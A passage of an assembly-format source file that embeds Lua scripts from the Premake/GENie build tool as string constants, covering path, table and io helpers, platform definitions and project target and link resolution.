ipairs(_64BitHostTypes) do\nif arch:find(hosttype) then\nreturn true\nend\nend\nend\nreturn false\nend\nlocal function domatch(result, mask, wantfiles)\nif mask:startswith(\"./\") then\nmask = mask:sub(3)\nend\nlocal basedir = mask\nlocal starpos = mask:find(\"%*\")\nif starpos then\nbasedir = basedir:sub(1, starpos - 1)\nend\nbasedir = path.getdirectory(basedir)\nif (basedir == \".\") then basedir = \"\" end\nlocal recurse = mask:find(\"**\", nil, true)\nmask = path.wildcards(mask)\nlocal function matchwalker(basedir)\nlocal wildcard = path.join(basedir, \"*\")\nlocal m = os.matchstart(wildcard)\nwhile (os.matchnext(m)) do\nlocal isfile = os.matchisfile(m)\nif ((wantfiles and isfile) or (not wantfiles and not isfile)) then\nlocal fname = path.join(basedir, os.matchname(m))\nif fname:match(mask) == fname then\ntable.insert(result, fname)\nend\nend\nend\nos.matchdone(m)\nif recurse then\nm = os.matchstart(wildcard)\nwhile (os.matchnext(m)) do\nif not os.matchisfile(m) then\nlocal dirname = os.matchname(m)\nmatchwalker(path.join(basedir, dirname))\nend\nend\nos.matchdone(m)\nend\nend\nmatchwalker(basedir)\nend\nfunction os.matchdirs(...)\nlocal arg={...}\nlocal result = { }\nfor _, mask in ipairs(arg) do\ndomatch(result, mask, false)\nend\nreturn result\nend\nfunction os.matchfiles(...)\nlocal arg={...}\nlocal result = { }\nfor _, mask in ipairs(arg) do\ndomatch(result, mask, true)\nend\nreturn result\nend\nlocal builtin_mkdir = os.mkdir\nfunction os.mkdir(p)\nlocal dir = iif(p:startswith(\"/\"), \"/\", \"\")\nfor part in p:gmatch(\"[^/]+\") do\ndir = dir .. part\nif (part ~= \"\" and not path.isabsolute(part) and not os.isdir(dir)) then\nlocal ok, err = builtin_mkdir(dir)\nif (not ok) then\nreturn nil, err\nend\nend\ndir = dir .. \"/\"\nend\nreturn true\nend\nfunction os.outputof(cmd)\nlocal pipe = io.popen(cmd)\nlocal result = pipe:read('*a')\npipe:close()\nreturn result\nend\nlocal builtin_rmdir = os.rmdir\nfunction os.rmdir(p)\nlocal dirs = os.matchdirs(p .. \"/*\")\nfor _, dname in ipairs(dirs) do\nos.rmdir(dname)\nend\nlocal files = os.matchfiles(p .. \"/*\")\nfor _, fname in ipairs(files) do\nos.remove(fname)\nend\nbuiltin_rmdir(p)\nend\n"
L_.str.1: ## @.str.1
.asciz "function path.getbasename(p)\nlocal name = path.getname(p)\nlocal i = name:findlast(\".\", true)\nif (i) then\nreturn name:sub(1, i - 1)\nelse\nreturn name\nend\nend\nfunction path.removeext(name)\nlocal i = name:findlast(\".\", true)\nif (i) then\nreturn name:sub(1, i - 1)\nelse\nreturn name\nend\nend\nfunction path.getdirectory(p)\nlocal i = p:findlast(\"/\", true)\nif (i) then\nif i > 1 then i = i - 1 end\nreturn p:sub(1, i)\nelse\nreturn \".\"\nend\nend\nfunction path.getdrive(p)\nlocal ch1 = p:sub(1,1)\nlocal ch2 = p:sub(2,2)\nif ch2 == \":\" then\nreturn ch1\nend\nend\nfunction path.getextension(p)\nlocal i = p:findlast(\".\", true)\nif (i) then\nreturn p:sub(i)\nelse\nreturn \"\"\nend\nend\nfunction path.getname(p)\nlocal i = p:findlast(\"[/\\\\]\")\nif (i) then\nreturn p:sub(i + 1)\nelse\nreturn p\nend\nend\nfunction path.getcommonbasedir(a, b)\na = path.getdirectory(a)..'/'\nb = path.getdirectory(b)..'/'\nlocal idx = 0\nwhile (true) do\nlocal tst = a:find('/', idx + 1, true)\nif tst then\nif a:sub(1,tst) == b:sub(1,tst) then\nidx = tst\nelse\nbreak\nend\nelse\nbreak\nend\nend\nlocal result = ''\nif idx > 1 then\nresult = a:sub(1, idx - 1)-- Remove the trailing slash to be consistent with other functions.\nend\nreturn result\nend\nfunction path.hasextension(fname, extensions)\nlocal fext = path.getextension(fname):lower()\nif type(extensions) == \"table\" then\nfor _, extension in pairs(extensions) do\nif fext == extension then\nreturn true\nend\nend\nreturn false\nelse\nreturn (fext == extensions)\nend\nend\nfunction path.iscfile(fname)\nreturn path.hasextension(fname, { \".c\", \".m\" })\nend\nfunction path.iscppfile(fname)\nreturn path.hasextension(fname, { \".cc\", \".cpp\", \".cxx\", \".c++\", \".c\", \".m\", \".mm\" })\nend\nfunction path.iscxfile(fname)\nreturn path.hasextension(fname, \".cx\")\nend\nfunction path.isobjcfile(fname)\nreturn path.hasextension(fname, { \".m\", \".mm\" })\nend\nfunction path.iscppheader(fname)\nreturn path.hasextension(fname, { \".h\", \".hh\", \".hpp\", \".hxx\" })\nend\nfunction path.isappxmanifest(fname)\nreturn path.hasextension(fname, \".appxmanifest\")\nend\nfunction path.isandroidbuildfile(fname)\nreturn path.getname(fname) == \"AndroidManifest.xml\"\nend\nfunction path.isnatvis(fname)\nreturn path.hasextension(fname, \".natvis\")\nend\nfunction path.isasmfile(fname)\nreturn path.hasextension(fname, { \".asm\", \".s\", \".S\" })\nend\nfunction path.isvalafile(fname)\nreturn path.hasextension(fname, \".vala\")\nend\nfunction path.isswiftfile(fname)\nreturn path.hasextension(fname, \".swift\")\nend\nfunction path.issourcefile(fname)\nreturn path.iscfile(fname)\nor path.iscppfile(fname)\nor path.iscxfile(fname)\nor path.isasmfile(fname)\nor path.isvalafile(fname)\nor path.isswiftfile(fname)\nend\nfunction path.issourcefilevs(fname)\nreturn path.hasextension(fname, { \".cc\", \".cpp\", \".cxx\", \".c++\", \".c\" })\nor path.iscxfile(fname)\nend\nfunction path.isobjectfile(fname)\nreturn path.hasextension(fname, { \".o\", \".obj\" })\nend\nfunction path.isresourcefile(fname)\nreturn path.hasextension(fname, \".rc\")\nend\nfunction path.isimagefile(fname)\nlocal extensions = { \".png\" }\nlocal ext = path.getextension(fname):lower()\nreturn table.contains(extensions, ext)\nend\nfunction path.join(...)\nlocal arg={...}\nlocal numargs = select(\"#\", ...)\nif numargs == 0 then\nreturn \"\";\nend\nlocal allparts = {}\nfor i = numargs, 1, -1 do\nlocal part = select(i, ...)\nif part and #part > 0 and part ~= \".\" then\nwhile part:endswith(\"/\") do\npart = part:sub(1, -2)\nend\ntable.insert(allparts, 1, part)\nif path.isabsolute(part) then\nbreak\nend\nend\nend\nreturn table.concat(allparts, \"/\")\nend\nfunction path.rebase(p, oldbase, newbase)\np = path.getabsolute(path.join(oldbase, p))\np = path.getrelative(newbase, p)\nreturn p\nend\nfunction path.translate(p, sep)\nif (type(p) == \"table\") then\nlocal result = { }\nfor _, value in ipairs(p) do\ntable.insert(result, path.translate(value))\nend\nreturn result\nelse\nif (not sep) then\nif (os.is(\"windows\")) then\nsep = \"\\\\\"\nelse\nsep = \"/\"\nend\nend\nlocal result = p:gsub(\"[/\\\\]\", sep)\nreturn result\nend\nend\nfunction path.wildcards(pattern)\npattern = pattern:gsub(\"([%+%.%-%^%$%(%)%%])\", \"%%%1\")\npattern = pattern:gsub(\"%*%*\", \"\\001\")\npattern = pattern:gsub(\"%*\", \"\\002\")\npattern = pattern:gsub(\"\\001\", \".*\")\npattern = pattern:gsub(\"\\002\", \"[^/]*\")\nreturn pattern\nend\nfunction path.trimdots(p)\nlocal changed\nrepeat\nchanged = true\nif p:startswith(\"./\") then\np = p:sub(3)\nelseif p:startswith(\"../\") then\np = p:sub(4)\nelse\nchanged = false\nend\nuntil not changed\nreturn p\nend\nfunction path.rebase(p, oldbase, newbase)\np = path.getabsolute(path.join(oldbase, p))\np = path.getrelative(newbase, p)\nreturn p\nend\nfunction path.replaceextension(p, newext)\nlocal ext = path.getextension(p)\nif not ext then\nreturn p\nend\nif #newext > 0 and not newext:findlast(\".\", true) then\nnewext = \".\"..newext\nend\nreturn p:match(\"^(.*)\"..ext..\"$\")..newext\nend\n"
L_.str.2: ## @.str.2
.asciz "function string.explode(s, pattern, plain)\nif (pattern == '') then return false end\nlocal pos = 0\nlocal arr = { }\nfor st,sp in function() return s:find(pattern, pos, plain) end do\ntable.insert(arr, s:sub(pos, st-1))\npos = sp + 1\nend\ntable.insert(arr, s:sub(pos))\nreturn arr\nend\nfunction string.findlast(s, pattern, plain)\nlocal curr = 0\nlocal term = nil\nrepeat\nlocal next, nextterm = s:find(pattern, curr + 1, plain)\nif (next) then\ncurr = next\nterm = nextterm\nend\nuntil (not next)\nif (curr > 0) then\nreturn curr, term\nend\nend\nfunction string.startswith(haystack, needle)\nreturn (haystack:find(needle, 1, true) == 1)\nend\nfunction string.trim(s)\nreturn (s:gsub(\"^%s*(.-)%s*$\", \"%1\"))\nend\n"
L_.str.3: ## @.str.3
.asciz "function table.contains(t, value)\nfor _, v in pairs(t) do\nif v == value then return true end\nend\nreturn false\nend\nfunction table.icontains(t, value)\nfor _, v in ipairs(t) do\nif v == value then return true end\nend\nreturn false\nend\nfunction table.deepcopy(object)\nlocal seen = {}\nlocal function copy(object)\nif type(object) ~= \"table\" then\nreturn object\nelseif seen[object] then\nreturn seen[object]\nend\nlocal clone = {}\nseen[object] = clone\nfor key, value in pairs(object) do\nclone[key] = copy(value)\nend\nsetmetatable(clone, getmetatable(object))\nreturn clone\nend\nreturn copy(object)\nend\nfunction table.extract(arr, fname)\nlocal result = { }\nfor _,v in ipairs(arr) do\ntable.insert(result, v[fname])\nend\nreturn result\nend\nfunction table.flatten(arr)\nlocal result = { }\nlocal function flatten(arr)\nfor _, v in ipairs(arr) do\nif type(v) == \"table\" then\nflatten(v)\nelse\ntable.insert(result, v)\nend\nend\nend\nflatten(arr)\nreturn result\nend\nfunction table.implode(arr, before, after, between)\nlocal result = \"\"\nfor _,v in ipairs(arr) do\nif (result ~= \"\" and between) then\nresult = result .. between\nend\nresult = result .. before .. v .. after\nend\nreturn result\nend\nfunction table.insertflat(tbl, values)\nif type(values) == \"table\" then\nfor _, value in ipairs(values) do\ntable.insertflat(tbl, value)\nend\nelse\ntable.insert(tbl, values)\nend\nend\nfunction table.isempty(t)\nreturn next(t) == nil\nend\nfunction table.join(...)\nlocal arg={...}\nlocal result = { }\nfor _,t in ipairs(arg) do\nif type(t) == \"table\" then\nfor _,v in ipairs(t) do\ntable.insert(result, v)\nend\nelse\ntable.insert(result, t)\nend\nend\nreturn result\nend\nfunction table.keys(tbl)\nlocal keys = {}\nfor k, _ in pairs(tbl) do\ntable.insert(keys, k)\nend\nreturn keys\nend\nfunction table.sortedpairs(t)\nlocal keys = table.keys(t)\nlocal i = 0\ntable.sort(keys)\nreturn function()\ni = i + 1\nif keys[i] == nil then\nreturn nil\nend\nreturn keys[i], t[keys[i]]\nend\nend\nfunction table.merge(...)\nlocal arg={...}\nlocal result = { }\nfor _,t in ipairs(arg) do\nif type(t) == \"table\" then\nfor k,v in pairs(t) do\nresult[k] = v\nend\nelse\nerror(\"invalid value\")\nend\nend\nreturn result\nend\nfunction table.translate(arr, translation)\nlocal result = { }\nfor _, value in ipairs(arr) do\nlocal tvalue\nif type(translation) == \"function\" then\ntvalue = translation(value)\nelse\ntvalue = translation[value]\nend\nif (tvalue) then\ntable.insert(result, tvalue)\nend\nend\nreturn result\nend\nfunction table.reverse(arr)\nfor i=1, math.floor(#arr / 2) do\narr[i], arr[#arr - i + 1] = arr[#arr - i + 1], arr[i]\nend\nreturn arr\nend\nfunction table.arglist(arg, value)\nif #value > 0 then\nlocal args = {}\nfor _, val in ipairs(value) do\ntable.insert(args, string.format(\"%s %s\", arg, val))\nend\nreturn table.concat(args, \" \")\nelse\nreturn \"\"\nend\nend\n"
L_.str.4: ## @.str.4
.asciz "io.eol = \"\\n\"\nio.indent = \"\\t\"\nio.indentLevel = 0\nlocal function _escaper(v) return v end\n_esc = _escaper\nfunction io.capture()\nlocal prev = io.captured\nio.captured = ''\nreturn prev\nend\nfunction io.endcapture(restore)\nlocal captured = io.captured\nio.captured = restore\nreturn captured\nend\nlocal builtin_open = io.open\nfunction io.open(fname, mode)\nif (mode) then\nif (mode:find(\"w\")) then\nlocal dir = path.getdirectory(fname)\nok, err = os.mkdir(dir)\nif (not ok) then\nerror(err, 0)\nend\nend\nend\nreturn builtin_open(fname, mode)\nend\nfunction io.printf(msg, ...)\nlocal arg={...}\nif not io.eol then\nio.eol = \"\\n\"\nend\nif not io.indent then\nio.indent = \"\\t\"\nend\nif type(msg) == \"number\" then\ns = string.rep(io.indent, msg) .. string.format(table.unpack(arg))\nelse\ns = string.format(msg, table.unpack(arg))\nend\nif io.captured then\nio.captured = io.captured .. s .. io.eol\nelse\nio.write(s)\nio.write(io.eol)\nend\nend\nfunction io.xprintf(msg, ...)\nlocal arg = {...}\nfor i = 1, #arg do\narg[i] = io.esc(arg[i])\nend\nio.printf(msg, unpack(arg))\nend\nfunction io.esc(value)\nif type(value) == \"table\" then\nlocal result = {}\nlocal n = #value\nfor i = 1, n do\ntable.insert(result, io.esc(value[i]))\nend\nreturn result\nend\nreturn _esc(value or \"\")\nend\nfunction io.escaper(func)\n_esc = func or _escaper\nend\n_p = io.printf\n_x = io.xprintf\n"
L_.str.5: ## @.str.5
.asciz "premake = { }\npremake.platforms =\n{\nNative =\n{\ncfgsuffix = \"\",\n},\nx32 =\n{\ncfgsuffix = \"32\",\n},\nx64 =\n{\ncfgsuffix = \"64\",\n},\nUniversal =\n{\ncfgsuffix = \"univ\",\n},\nUniversal32 =\n{\ncfgsuffix = \"univ32\",\n},\nUniversal64 =\n{\ncfgsuffix = \"univ64\",\n},\nPS3 =\n{\ncfgsuffix = \"ps3\",\niscrosscompiler = true,\nnosharedlibs = true,\nnamestyle = \"PS3\",\n},\nWiiDev =\n{\ncfgsuffix = \"wii\",\niscrosscompiler = true,\nnamestyle = \"PS3\",\n},\nXbox360 =\n{\ncfgsuffix = \"xbox360\",\niscrosscompiler = true,\nnamestyle = \"windows\",\n},\nPowerPC =\n{\ncfgsuffix = \"ppc\",\niscrosscompiler = true,\n},\nARM =\n{\ncfgsuffix = \"ARM\",\niscrosscompiler = true,\n},\nOrbis =\n{\ncfgsuffix = \"orbis\",\niscrosscompiler = true,\nnamestyle = \"Orbis\",\n},\nDurango =\n{\ncfgsuffix = \"durango\",\niscrosscompiler = true,\nnosharedlibs = true,\nnamestyle = \"windows\",\n},\nTegraAndroid =\n{\ncfgsuffix = \"tegraandroid\",\niscrosscompiler = true,\nnamestyle = \"TegraAndroid\",\n},\nNX32 =\n{\ncfgsuffix = \"nx32\",\niscrosscompiler = true,\nnamestyle = \"NX\",\n},\nNX64 =\n{\ncfgsuffix = \"nx64\",\niscrosscompiler = true,\nnamestyle = \"NX\",\n},\nEmscripten =\n{\ncfgsuffix = \"emscripten\",\niscrosscompiler = true,\nnosharedlibs = true,\nnamestyle = \"Emscripten\",\n},\n}\nlocal builtin_dofile = dofile\nfunction dofile(fname)\nlocal oldcwd = os.getcwd()\nlocal oldfile = _SCRIPT\nif (not os.isfile(fname)) then\nlocal path = os.pathsearch(fname, _OPTIONS[\"scripts\"], os.getenv(\"PREMAKE_PATH\"))\nif (path) then\nfname = path..\"/\"..fname\nend\nend\n_SCRIPT = path.getabsolute(fname)\nlocal newcwd = path.getdirectory(_SCRIPT)\nos.chdir(newcwd)\nlocal a, b, c, d, e, f = builtin_dofile(_SCRIPT)\n_SCRIPT = oldfile\nos.chdir(oldcwd)\nreturn a, b, c, d, e, f\nend\nfunction iif(expr, trueval, falseval)\nif (expr) then\nreturn trueval\nelse\nreturn falseval\nend\nend\nfunction include(fname)\nlocal dir, name = premake.findDefaultScript(fname, false)\nif dir ~= nil then\nreturn dofile(dir .. \"/\" .. name)\nend\nreturn nil\nend\nfunction printf(msg, ...)\nlocal arg={...}\nprint(string.format(msg, table.unpack(arg)))\nend\nfunction typex(t)\nlocal mt = getmetatable(t)\nif (mt) then\nif (mt.__type) then\nreturn mt.__type\nend\nend\nreturn type(t)\nend\n"
L_.str.6: ## @.str.6
.asciz "premake.action = { }\npremake.action.list = { }\nfunction premake.action.add(a)\nlocal missing\nfor _, field in ipairs({\"description\", \"trigger\"}) do\nif (not a[field]) then\nmissing = field\nend\nend\nif (missing) then\nerror(\"action needs a \" .. missing, 3)\nend\npremake.action.list[a.trigger] = a\nend\nfunction premake.action.call(name)\nlocal a = premake.action.list[name]\nfor sln in premake.solution.each() do\nif a.onsolution then\na.onsolution(sln)\nend\nif sln.postsolutioncallbacks then\nfor _,cb in ipairs(sln.postsolutioncallbacks) do\ncb(sln)\nend\nend\nfor prj in premake.solution.eachproject(sln) do\nif a.onproject then\na.onproject(prj)\nend\nif prj.postprojectcallbacks then\nfor _,cb in ipairs(prj.postprojectcallbacks) do\ncb(prj)\nend\nend\nend\nend\nif a.execute then\na.execute()\nend\nend\nfunction premake.action.current()\nreturn premake.action.get(_ACTION)\nend\nfunction premake.action.get(name)\nreturn premake.action.list[name]\nend\nfunction premake.action.each()\nlocal keys = { }\nfor _, action in pairs(premake.action.list) do\ntable.insert(keys, action.trigger)\nend\ntable.sort(keys)\nlocal i = 0\nreturn function()\ni = i + 1\nreturn premake.action.list[keys[i]]\nend\nend\nfunction premake.action.set(name)\n_ACTION = name\nlocal action = premake.action.get(name)\nif action then\n_OS = action.os or _OS\nend\nend\nfunction premake.action.supports(action, feature)\nif not action then\nreturn false\nend\nif action.valid_languages then\nif table.contains(action.valid_languages, feature) then\nreturn true\nend\nend\nif action.valid_kinds then\nif table.contains(action.valid_kinds, feature) then\nreturn true\nend\nend\nreturn false\nend\n"
L_.str.7: ## @.str.7
.asciz "premake.option = { }\npremake.option.list = { }\nfunction premake.option.add(opt)\nlocal missing\nfor _, field in ipairs({ \"description\", \"trigger\" }) do\nif (not opt[field]) then\nmissing = field\nend\nend\nif (missing) then\nerror(\"option needs a \" .. missing, 3)\nend\npremake.option.list[opt.trigger] = opt\nend\nfunction premake.option.get(name)\nreturn premake.option.list[name]\nend\nfunction premake.option.each()\nlocal keys = { }\nfor _, option in pairs(premake.option.list) do\ntable.insert(keys, option.trigger)\nend\ntable.sort(keys)\nlocal i = 0\nreturn function()\ni = i + 1\nreturn premake.option.list[keys[i]]\nend\nend\nfunction premake.option.validate(values)\nfor key, value in pairs(values) do\nlocal opt = premake.option.get(key)\nif (not opt) then\nreturn false, \"invalid option '\" .. key .. \"'\"\nend\nif (opt.value and value == \"\") then\nreturn false, \"no value specified for option '\" .. key .. \"'\"\nend\nif opt.allowed then\nlocal found = false\nfor _, match in ipairs(opt.allowed) do\nif match[1] == value then\nfound = true\nbreak\nend\nend\nif not found then\nreturn false, string.format(\"invalid value '%s' for option '%s'\", value, key)\nend\nend\nend\nreturn true\nend\n"
L_.str.8: ## @.str.8
.asciz "premake.tree = { }\nlocal tree = premake.tree\nfunction premake.tree.new(n)\nlocal t = {\nname = n,\nchildren = { }\n}\nreturn t\nend\nfunction premake.tree.add(tr, p, onaddfunc)\nif p == \".\" then\nreturn tr\nend\nif p == \"/\" then\nreturn tr\nend\nlocal parentnode = tree.add(tr, path.getdirectory(p), onaddfunc)\nlocal childname = path.getname(p)\nif childname == \"..\" then\nreturn parentnode\nend\nlocal childnode = parentnode.children[childname]\nif not childnode or childnode.path ~= p then\nchildnode = tree.insert(parentnode, tree.new(childname))\nchildnode.path = p\nif onaddfunc then\nonaddfunc(childnode)\nend\nend\nreturn childnode\nend\nfunction premake.tree.insert(parent, child)\ntable.insert(parent.children, child)\nif child.name then\nparent.children[child.name] = child\nend\nchild.parent = parent\nreturn child\nend\nfunction premake.tree.getlocalpath(node)\nif node.parent.path then\nreturn node.name\nelseif node.cfg then\nreturn node.cfg.name\nelse\nreturn node.path\nend\nend\nfunction premake.tree.remove(node)\nlocal children = node.parent.children\nfor i = 1, #children do\nif children[i] == node then\ntable.remove(children, i)\nend\nend\nnode.children = {}\nend\nfunction premake.tree.sort(tr)\ntree.traverse(tr, {\nonnode = function(node)\ntable.sort(node.children, function(a,b)\nreturn a.name < b.name\nend)\nend\n}, true)\nend\nfunction premake.tree.traverse(t, fn, includeroot, initialdepth)\nlocal donode, dochildren\ndonode = function(node, fn, depth)\nif node.isremoved then\nreturn\nend\nif fn.onnode then\nfn.onnode(node, depth)\nend\nif #node.children > 0 then\nif fn.onbranchenter then\nfn.onbranchenter(node, depth)\nend\nif fn.onbranch then\nfn.onbranch(node, depth)\nend\ndochildren(node, fn, depth + 1)\nif fn.onbranchexit then\nfn.onbranchexit(node, depth)\nend\nelse\nif fn.onleaf then\nfn.onleaf(node, depth)\nend\nend\nend\ndochildren = function(parent, fn, depth)\nlocal i = 1\nwhile i <= #parent.children do\nlocal node = parent.children[i]\ndonode(node, fn, depth)\nif node == parent.children[i] then\ni = i + 1\nend\nend\nend\nif not initialdepth then\ninitialdepth = 0\nend\nif includeroot then\ndonode(t, fn, initialdepth)\nelse\ndochildren(t, fn, initialdepth)\nend\nend\n"
L_.str.9: ## @.str.9
.asciz "premake.solution = { }\npremake.solution.list = { }\nfunction premake.solution.new(name)\nlocal sln = { }\ntable.insert(premake.solution.list, sln)\npremake.solution.list[name] = sln\nsetmetatable(sln, { __type=\"solution\" })\nsln.name = name\nsln.basedir = os.getcwd()\nsln.projects = { }\nsln.blocks = { }\nsln.configurations = { }\nsln.groups = { }\nsln.importedprojects = { }\nreturn sln\nend\nfunction premake.solution.each()\nlocal i = 0\nreturn function ()\ni = i + 1\nif i <= #premake.solution.list then\nreturn premake.solution.list[i]\nend\nend\nend\nfunction premake.solution.eachproject(sln)\nlocal i = 0\nreturn function ()\ni = i + 1\nif (i <= #sln.projects) then\nreturn premake.solution.getproject(sln, i)\nend\nend\nend\nfunction premake.solution.eachgroup(sln)\nlocal i = 0\nreturn function()\ni = i + 1\nif(i <= #sln.groups) then\nreturn premake.solution.getgroup(sln, i)\nend\nend\nend\nfunction premake.solution.get(key)\nreturn premake.solution.list[key]\nend\nfunction premake.solution.getproject(sln, idx)\nlocal prj = sln.projects[idx]\nlocal cfg = premake.getconfig(prj)\ncfg.name = prj.name\nreturn cfg\nend\nfunction premake.solution.getgroup(sln, idx)\nlocal grp = sln.groups[idx]\nreturn grp\nend"
L_.str.10: ## @.str.10
.asciz "premake.project = { }\nfunction premake.project.buildsourcetree(prj, allfiles)\nlocal tr = premake.tree.new(prj.name)\ntr.project = prj\nlocal isvpath\nlocal function onadd(node)\nnode.isvpath = isvpath\nend\nfor fcfg in premake.project.eachfile(prj, allfiles) do\nisvpath = (fcfg.name ~= fcfg.vpath)\nlocal node = premake.tree.add(tr, fcfg.vpath, onadd)\nnode.cfg = fcfg\nend\npremake.tree.sort(tr)\nreturn tr\nend\nfunction premake.eachconfig(prj, platform)\nif prj.project then prj = prj.project end\nlocal cfgs = prj.solution.configurations\nlocal i = 0\nreturn function ()\ni = i + 1\nif i <= #cfgs then\nreturn premake.getconfig(prj, cfgs[i], platform)\nend\nend\nend\nfunction premake.project.eachfile(prj, allfiles)\nif not prj.project then prj = premake.getconfig(prj) end\nlocal i = 0\nlocal t = iif(allfiles, prj.allfiles, prj.files)\nlocal c = iif(allfiles, prj.__allfileconfigs, prj.__fileconfigs)\nreturn function ()\ni = i + 1\nif (i <= #t) then\nlocal fcfg = c[t[i]]\nfcfg.vpath = premake.project.getvpath(prj, fcfg.name)\nreturn fcfg\nend\nend\nend\nfunction premake.esc(value)\nif (type(value) == \"table\") then\nlocal result = { }\nfor _,v in ipairs(value) do\ntable.insert(result, premake.esc(v))\nend\nreturn result\nelse\nvalue = value:gsub('&', \"&\")\nvalue = value:gsub('\"', \""\")\nvalue = value:gsub(\"'\", \"'\")\nvalue = value:gsub('<', \"<\")\nvalue = value:gsub('>', \">\")\nvalue = value:gsub('\\r', \"
\")\nvalue = value:gsub('\\n', \"
\")\nreturn value\nend\nend\nfunction premake.filterplatforms(sln, map, default)\nlocal result = { }\nlocal keys = { }\nif sln.platforms then\nfor _, p in ipairs(sln.platforms) do\nif map[p] and not table.contains(keys, map[p]) then\ntable.insert(result, p)\ntable.insert(keys, map[p])\nend\nend\nend\nif #result == 0 and default then\ntable.insert(result, default)\nend\nreturn result\nend\nfunction premake.findproject(name)\nfor sln in premake.solution.each() do\nfor prj in premake.solution.eachproject(sln) do\nif (prj.name == name) then\nreturn prj\nend\nend\nend\nend\nfunction premake.findfile(prj, extension)\nfor _, fname in ipairs(prj.files) do\nif fname:endswith(extension) then return fname end\nend\nend\nfunction premake.getconfig(prj, cfgname, pltname)\nprj = prj.project or prj\nif pltname == \"Native\" or not table.contains(prj.solution.platforms or {}, pltname) then\npltname = nil\nend\nlocal key = (cfgname or \"\")\nif pltname then key = key .. pltname end\nreturn prj.__configs[key]\nend\nfunction premake.getconfigname(cfgname, platform, useshortname)\nif cfgname then\nlocal name = cfgname\nif platform and platform ~= \"Native\" then\nif useshortname then\nname = name .. premake.platforms[platform].cfgsuffix\nelse\nname = name .. \"|\" .. platform\nend\nend\nreturn iif(useshortname, name:lower(), name)\nend\nend\nfunction premake.getdependencies(prj)\nprj = prj.project or prj\nlocal results = { }\nfor _, cfg in pairs(prj.__configs) do\nfor _, link in ipairs(cfg.links) do\nlocal dep = premake.findproject(link)\nif dep and not table.contains(results, dep) then\ntable.insert(results, dep)\nend\nend\nend\nreturn results\nend\nfunction premake.project.getbasename(prjname, pattern)\nreturn pattern:gsub(\"%%%%\", prjname)\nend\nfunction premake.project.getfilename(prj, pattern)\nlocal fname = premake.project.getbasename(prj.name, pattern)\nfname = path.join(prj.location, fname)\nreturn path.getrelative(os.getcwd(), fname)\nend\n function premake.getlinks(cfg, kind, part)\nlocal result = iif (part == \"directory\" and kind == \"all\", cfg.libdirs, {})\nlocal cfgname = iif(cfg.name == cfg.project.name, \"\", cfg.name)\nlocal pathstyle = premake.getpathstyle(cfg)\nlocal namestyle = premake.getnamestyle(cfg)\nlocal function canlink(source, target)\nif (target.kind ~= \"SharedLib\" and target.kind ~= \"StaticLib\") then\nreturn false\nend\nif premake.iscppproject(source) then\nreturn premake.iscppproject(target)\nelseif premake.isdotnetproject(source) then\nreturn premake.isdotnetproject(target)\nelseif premake.isswiftproject(source) then\nreturn premake.isswiftproject(source) or premake.iscppproject(source)\nend\nend\nfor _, link in ipairs(cfg.links) do\nlocal item\nlocal prj = premake.findproject(link)\nif prj and kind ~= \"system\" then\nlocal prjcfg = premake.getconfig(prj, cfgname, cfg.platform)\nif kind == \"dependencies\" or canlink(cfg, prjcfg) then\nif (part == \"directory\") then\nitem = path.rebase(prjcfg.linktarget.directory, prjcfg.location, cfg.location)\nelseif (part == \"basename\") then\nitem = prjcfg.linktarget.basename\nelseif (part == \"fullpath\") then\nitem = path.rebase(prjcfg.linktarget.fullpath, prjcfg.location, cfg.location)\nelseif (part == \"object\") then\nitem = prjcfg\nend\nend\nelseif not prj and (kind == \"system\" or kind == \"all\") then\nif (part == \"directory\") then\nitem = path.getdirectory(link)\nelseif (part == \"fullpath\") then\nitem = link\nif namestyle == \"windows\" then\nif premake.iscppproject(cfg) then\nitem = item .. \".lib\"\nelseif premake.isdotnetproject(cfg) then\nitem = item .. \".dll\"\nend\nend\nelseif part == \"name\" then\nitem = path.getname(link)\nelseif part == \"basename\" then\nitem = path.getbasename(link)\nelse\nitem = link\nend\nif item:find(\"/\", nil, true) then\nitem = path.getrelative(cfg.project.location, item)\nend\nend\nif item then\nif pathstyle == \"windows\" and part ~= \"object\" then\nitem = path.translate(item, \"\\\\\")\nend\nif not table.contains(result, item) then\ntable.insert(result, item)\nend\nend\nend\nreturn result\nend\nfunction premake.getnamestyle(cfg)\nreturn premake.platforms[cfg.platform].namestyle or premake.gettool(cfg).namestyle or \"posix\"\nend\nfunction premake.getpathstyle(cfg)\nif premake.action.current().os == \"windows\" then\nreturn \"windows\"\nelse\nreturn \"posix\"\nend\nend\nfunction premake.gettarget(cfg, direction, pathstyle, namestyle, system)\nif system == \"bsd\" then\nsystem = \"linux\"\nend\nlocal kind = cfg.kind\nif premake.iscppproject(cfg) then\nif (namestyle == \"windows\" or system == \"windows\")\nand kind == \"SharedLib\" and direction == \"link\"\nand not cfg.flags.NoImportLib\nthen\nkind = \"StaticLib\"\nend\nif namestyle == \"posix\" and system == \"windows\" and kind ~= \"StaticLib\" then\nnamestyle = \"windows\"\nend\nend\nlocal field = \"build\"\nif direction == \"link\" and cfg.kind == \"SharedLib\" then\nfield = \"implib\"\nend\nlocal name = cfg[field..\"name\"] or cfg.targetname or cfg.project.name\nlocal dir = cfg[field..\"dir\"] or cfg.targetdir or path.getrelative(cfg.location, cfg.basedir)\nlocal subdir = cfg[field..\"subdir\"] or cfg.targetsubdir or \".\"\nlocal prefix = \"\"\nlocal suffix = \"\"\nlocal ext = \"\"\nlocal bundlepath, bundlename\ndir = path.join(dir, subdir)\nif namestyle == \"windows\" then\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" then\next = \".exe\"\nelseif kind == \"SharedLib\" then\next = \".dll\"\nelseif kind == \"StaticLib\" then\next = \".lib\"\nend\nelseif namestyle == \"posix\" then\nif kind == \"WindowedApp\" and system == \"macosx\" and not cfg.options.SkipBundling then\nbundlename = name .. \".app\"\nbundlepath = path.join(dir, bundlename)\ndir = path.join(bundlepath, \"Contents/MacOS\")\nelseif (kind == \"ConsoleApp\" or kind == \"WindowedApp\") and system == \"os2\" then\next = \".exe\"\nelseif kind == \"SharedLib\" then\nprefix = \"lib\"\next = iif(system == \"macosx\", \".dylib\", \".so\")\nelseif kind == \"StaticLib\" then\nprefix = \"lib\"\next = \".a\"\nend\nelseif namestyle == \"PS3\" then\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" then\next = \".elf\"\nelseif kind == \"StaticLib\" then\nprefix = \"lib\"\next = \".a\"\nend\nelseif namestyle == \"Orbis\" then\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" then\next = \".elf\"\nelseif kind == \"StaticLib\" then\nprefix = \"lib\"\next = \".a\"\nelseif kind == \"SharedLib\" then\next = \".prx\"\nend\nelseif 